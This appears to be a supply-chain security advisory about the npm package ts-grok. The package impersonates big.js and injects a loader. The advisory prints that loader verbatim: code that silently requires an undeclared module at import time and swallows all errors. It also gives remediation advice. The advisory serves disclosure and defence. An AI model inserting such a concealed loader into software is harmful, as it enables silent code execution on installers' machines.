OpenSSF/OSV advisory MAL-2026-6321 confirms this npm version as malicious.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: \`try { const doc = require("node-slot"); doc.from\_str().then(e =\> { }).catch(e =\> { }) } catch (error) { }\`. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node\_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
